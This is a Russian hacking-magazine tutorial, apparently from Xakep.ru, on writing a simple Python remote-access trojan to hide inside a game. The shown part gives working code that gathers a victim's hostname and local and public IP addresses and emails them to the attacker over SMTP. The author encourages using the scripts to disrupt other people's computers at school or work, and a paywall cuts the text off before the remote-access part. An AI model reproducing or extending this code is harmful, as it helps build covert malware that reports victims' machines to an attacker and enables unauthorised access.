В этой статье я расскажу, как написать на Python простейший троян с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если ты не знаешь Python, ты сможешь лучше понять, как устроены такие вредоносы, и поупражняться в программировании.
Конечно, приведенные в статье скрипты никак не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют напрочь. Тем не менее при некоторой смекалке их возможно использовать для несложных пакостей — например, вырубить чей‑нибудь компьютер в классе (или в офисе, если в классе ты не наигрался).
Читай также: «Ядовитый питон. Пишем на Python простейшую малварь: локер, шифровальщик и вирус».
Итак, что вообще такое троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт.
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Помни об этом.
Сначала нам (то есть нашему трояну) нужно определиться, где он оказался. Важная часть твоей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
import socketfrom requests import get
Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip
.
pip install socket pip install requests
Если ты видишь ошибку, что у тебя отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет.
Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
# Определяем имя устройства в сетиhostname = socket.gethostname()# Определяем локальный (внутри сети) IP-адресlocal_ip = socket.gethostbyname(hostname)# Определяем глобальный (публичный / в интернете) IP-адресpublic_ip = get('http://api.ipify.org').text
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Я выбрал сайт api.ipify.org
, так как на выходе нам выдается только одна строка — наш внешний IP. Из связки публичный + локальный IP мы получим почти точный адрес устройства.
Вывести информацию еще проще:
print(f'Хост: {hostname}')print(f'Локальный IP: {local_ip}')print(f'Публичный IP: {public_ip}')
Никогда не встречал конструкции типа print(f'{}')
? Буква f
означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это тебе на JavaScript!).
Финальный код:
import socketfrom requests import gethostname = socket.gethostname()local_ip = socket.gethostbyname(hostname)public_ip = get('http://api.ipify.org').textprint(f'Хост: {hostname}')print(f'Локальный IP: {local_ip}')print(f'Публичный IP: {public_ip}')
Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.
Теперь напишем скрипт, который будет присылать нам письмо.
Импорт новых библиотек (обе нужно предварительно поставить через pip install
):
import smtplib as smtpfrom getpass import getpass
Пишем базовую информацию о себе:
# Почта, с которой будет отправлено письмоemail = 'xakepmail@yandex.ru'# Пароль от нее (вместо ***)password = '***'# Почта, на которую отправляем письмоdest_email = 'demo@xakep.ru'# Тема письмаsubject = 'IP'# Текст письмаemail_text = 'TEXT'
Дальше сформируем письмо:
message = 'From: {}nTo: {}nSubject: {}nn{}'.format(email, dest_email, subject, email_text)
Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.
server = smtp.SMTP_SSL('smtp.yandex.com') # SMTP-сервер Яндексаserver.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки)server.ehlo(email) # Отправляем hello-пакет на серверserver.login(email, password) # Заходим на почту, с которой будем отправлять письмоserver.auth_plain() # Авторизуемсяserver.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение)server.quit() # Отключаемся от сервера
В строке server.ehlo(email)
мы используем команду EHLO
. Большинство серверов SMTP поддерживают ESMTP
и EHLO
. Если сервер, к которому ты пытаешься подключиться, не поддерживает EHLO
, можно использовать HELO
.
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
1 год8460 р. |
1 месяц790 р. |
Читайте также
Последние новости